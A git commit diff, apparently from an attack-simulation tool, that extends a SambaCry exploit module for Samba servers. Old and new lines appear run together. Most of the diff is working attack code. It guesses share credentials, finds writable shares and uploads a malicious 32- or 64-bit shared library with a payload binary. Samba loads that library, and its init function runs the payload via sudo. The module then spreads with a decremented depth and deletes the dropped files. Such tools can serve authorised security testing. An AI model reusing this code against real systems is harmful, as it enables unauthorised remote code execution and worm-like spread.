sambacry: Add support for using both architectures

This commit is contained in:
Itay Mizeretz 2017-08-30 10:16:54 +03:00
parent 75e1877ea7
commit 4ce1653c8f
4 changed files with 171 additions and 63 deletions

View File

@ -1,6 +1,7 @@
from optparse import OptionParser from optparse import OptionParser
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from os import path from os import path
import time
from impacket.smbconnection import SMBConnection from impacket.smbconnection import SMBConnection
from impacket.smb import SessionError from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
@ -9,78 +10,163 @@ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAnd
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from exploit import HostExploiter
from exploit.tools import get_target_monkey
from smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs
from config import WormConfiguration
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
# TODO: add documentation # TODO: add documentation
# TODO: add author
# TODO: add logs # TODO: add logs
# TODO: add exception handling
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user # TODO: remove /home/user
# TODO: take all from config # TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
RUNNER_FILENAME = "monkey_runner.so" RUNNER_FILENAME_32 = "monkey_runner32.so"
RUNNER_FILENAME_64 = "monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt" COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME = "monkey" MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
def main(): class SambaCryExploiter(HostExploiter):
parser = OptionParser()
parser.add_option("-t", "--target", dest="target")
(options, args) = parser.parse_args()
if options.target:
exploiter = SambaCryExploiter()
exploiter.exploit(options.target)
else:
parser.print_help()
# TODO: inherit from HostExploiter
class SambaCryExploiter:
_target_os_type = ['linux'] _target_os_type = ['linux']
def __init__(self): def __init__(self):
self.module_binary = "" pass
def exploit(self, ip): def exploit_host(self, host, depth=-1, src_path=None):
self.assert_smb_version() self.is_vulnerable(host)
writable_shares = []
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
# TODO: decide about ignoring src_path because of arc detection bug
src_path = src_path or get_target_monkey(host)
for share in writable_shares_creds_dict:
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
# TODO: config sleep time
time.sleep(5)
for share in writable_shares_creds_dict:
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.trigger_module(smb_client, share)
smb_client.logoff()
def clean_share(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except:
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.logoff()
def get_writable_shares_creds_dict(self, ip):
# TODO: document
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list() credentials_list = self.get_credentials_list()
for credentials in credentials_list: for credentials in credentials_list:
smb_client = self.connect_to_server(ip, credentials) smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client) shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
for share in shares: for share in shares:
if self.upload_module(smb_client, share): if self.is_share_writable(smb_client, share):
writable_shares.append(share) writable_shares_creds_dict[share] = credentials
self.trigger_module(smb_client, share)
# TODO: delete remains
smb_client.logoff() smb_client.logoff()
return writable_shares_creds_dict
def get_credentials_list(self): def get_credentials_list(self):
# TODO: get credentials from config user_password_pairs = WormConfiguration.get_exploit_user_password_pairs()
return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client): def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
shares.remove("IPC$") for share in SHARES_TO_NOT_CHECK:
if share in shares:
shares.remove(share)
return shares return shares
def assert_smb_version(self): def is_vulnerable(self, host):
# TODO: implement if not host.services.has_key(SMB_SERVICE):
pass return False
# TODO: check if version is supported
# smb_server_name = host.services[SMB_SERVICE].get('name')
def upload_module(self, smb_client, share): return True
def is_share_writable(self, smb_client, share):
# TODO: logs
#logging.debug('Checking %s for write access' % shareName)
try: try:
#logging.debug('Connecting to share %s' % shareName)
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) except Exception as e:
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) return False
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin)
smb_client.disconnectTree(tree_id) try:
return True smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
except SessionError as e: writable = True
if str(e).find('STATUS_ACCESS_DENIED') >= 0: except Exception as e:
return False writable = False
raise pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
tree_id = smb_client.connectTree(share)
self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth))
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read)
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
def write_file_to_server(self, smb_client, share, file_name, file_handle):
smb_client.putFile(share, "\\%s" % file_name, file_handle.read)
file_handle.close()
def connect_to_server(self, ip, credentials): def connect_to_server(self, ip, credentials):
""" """
@ -119,29 +205,31 @@ class SambaCryExploiter:
return True return True
@staticmethod
def generate_module_possible_paths(self, share_name): def generate_module_possible_paths(share_name):
""" """
Generates array of possible paths Generates array of possible paths
:param share_name: Name of the share :param share_name: Name of the share
:return: Array of possible full paths to the module. :return: Array of possible full paths to the module.
""" """
return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) possible_paths_32 =\
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS)
possible_paths_64 = \
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS)
return possible_paths_32 + possible_paths_64
@staticmethod @staticmethod
def get_monkey_bin(): def get_monkey_runner_bin_file(is_32bit):
# TODO # TODO: get from config
pass if is_32bit:
return open("sc_monkey_runner32.so", "rb")
else:
return open("sc_monkey_runner64.so", "rb")
@staticmethod @staticmethod
def get_monkey_runner_bin(): def get_monkey_commandline_supplier(host, depth):
# TODO return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1)
pass
@staticmethod
def get_monkey_commandline():
# TODO
pass
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
@ -225,6 +313,3 @@ class SambaCryExploiter:
else: else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
if __name__=="__main__":
main()

View File

@ -14,6 +14,10 @@ a = Analysis(['main.py'],
win_no_prefer_redirects=None, win_no_prefer_redirects=None,
win_private_assemblies=None, win_private_assemblies=None,
cipher=block_cipher) cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data, pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher) cipher=block_cipher)
exe = EXE(pyz, exe = EXE(pyz,

View File

@ -7,6 +7,10 @@ a = Analysis(['main.py'],
hookspath=None, hookspath=None,
runtime_hooks=None) runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0: if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0] a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit": if platform.architecture()[0] == "32bit":

View File

@ -6,16 +6,31 @@
#include "monkey_runner.h" #include "monkey_runner.h"
#if __x86_64__
#define ARC_IS_64
#endif
#if _____LP64_____
#define ARC_IS_64
#endif
#define LINE_MAX_LENGTH (2048) #define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30) #define MAX_PARAMETERS (30)
int samba_init_module(void) int samba_init_module(void)
{ {
const char RUNNER_FILENAME[] = "monkey_runner.so"; #if ARC_IS_64
const char RUNNER_FILENAME[] = "monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const char ACCESS_MODE_STRING[] = "0777"; const char ACCESS_MODE_STRING[] = "0777";
const char MONKEY_NAME[] = "monkey";
const char MONKEY_COPY_NAME[] = "monkey2";
const char RUN_MONKEY_CMD[] = "sudo ./"; const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0; int found = 0;